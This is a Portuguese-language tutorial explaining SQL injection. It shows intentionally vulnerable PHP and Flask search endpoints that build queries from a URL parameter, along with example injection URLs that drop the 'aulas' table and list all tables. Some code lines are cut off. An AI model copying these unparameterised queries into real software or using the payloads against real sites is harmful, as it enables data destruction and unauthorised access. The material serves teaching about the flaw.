Back-End por trás do SQL Injection
Resumo de SQL Injection
SQL Injection é um ataque em que um atacante injeta código SQL malicioso em um site ou banco de dados.

Esse código geralmente visa modificar, deletar, ou acessar dados sem a devida autorização. O atacante consegue isso manipulando entradas vulneráveis, como campos de formulários ou parâmetros de URL.
Exemplo em PHP
Vamos imaginar que nosso site netcattest.com
utiliza PHP para seu back-end e tem uma página de busca.
<?php
$servername = "localhost";
$username = "usuario";
$password = "senha";
$dbname = "meubanco";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Conexão falhou: " . $conn->connect_error);
}
$id = $_GET['id'];
$sql = "SELECT * FROM aulas WHERE id = " . $id;
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - Aula: " . $row["aula"]. " - Nome: " . $row["nome"]. "<br>";
}
} else {
echo "0 resultados";
}
$conn->close
|
URL e SQL Injection
Se um atacante alterar a URL para
https://netcattest.com/busca?id=1; DROP TABLE aula
O código PHP executaria o seguinte comando SQL:
SELECT * FROM aulas WHERE id = 1; DROP TABLE aulas;
|
Isso resultaria na exclusão da tabela aulas.
Exemplo em Python
Agora, vamos imaginar que o mesmo site utiliza Python com Flask para seu back-end.
from flask import Flask, request
import sqlite3
app = Flask(__name__)
@app.route('/busca')
def busca():
id = request.args.get('id')
conn = sqlite3.connect('meubanco.db')
cursor = conn.cursor()
query = f"SELECT * FROM aulas WHERE id = {id}"
cursor.execute(query)
results = cursor.fetchall()
response = ""
for row in results:
response += f"id: {row[0]}, Aula: {row[1]}, Nome: {row[2]}<br>"
conn.close()
return response
if __name__ == '__main__':
app.run(debug=
|
URL e SQL Injection
Se um atacante alterar a URL para
http://netcattest.com/busca?id=1; DROP TABLE aulas;
,
o código Python executaria o seguinte comando SQL:
SELECT * FROM aulas WHERE id = 1; DROP TABLE aulas;
|
Isso resultaria na exclusão da tabela aulas
.
Para exibir todas as tabelas no banco de dados, o atacante pode usar uma URL como
http://netcattest.com/busca?id=1; SELECT name FROM sqlite_master
WHERE type='table';
.
O comando SQL executado seria:
SELECT * FROM aulas WHERE id = 1; SELECT name FROM sqlite_master WHERE type='table';
|
Isso retornaria uma lista de todas as tabelas no banco de dados.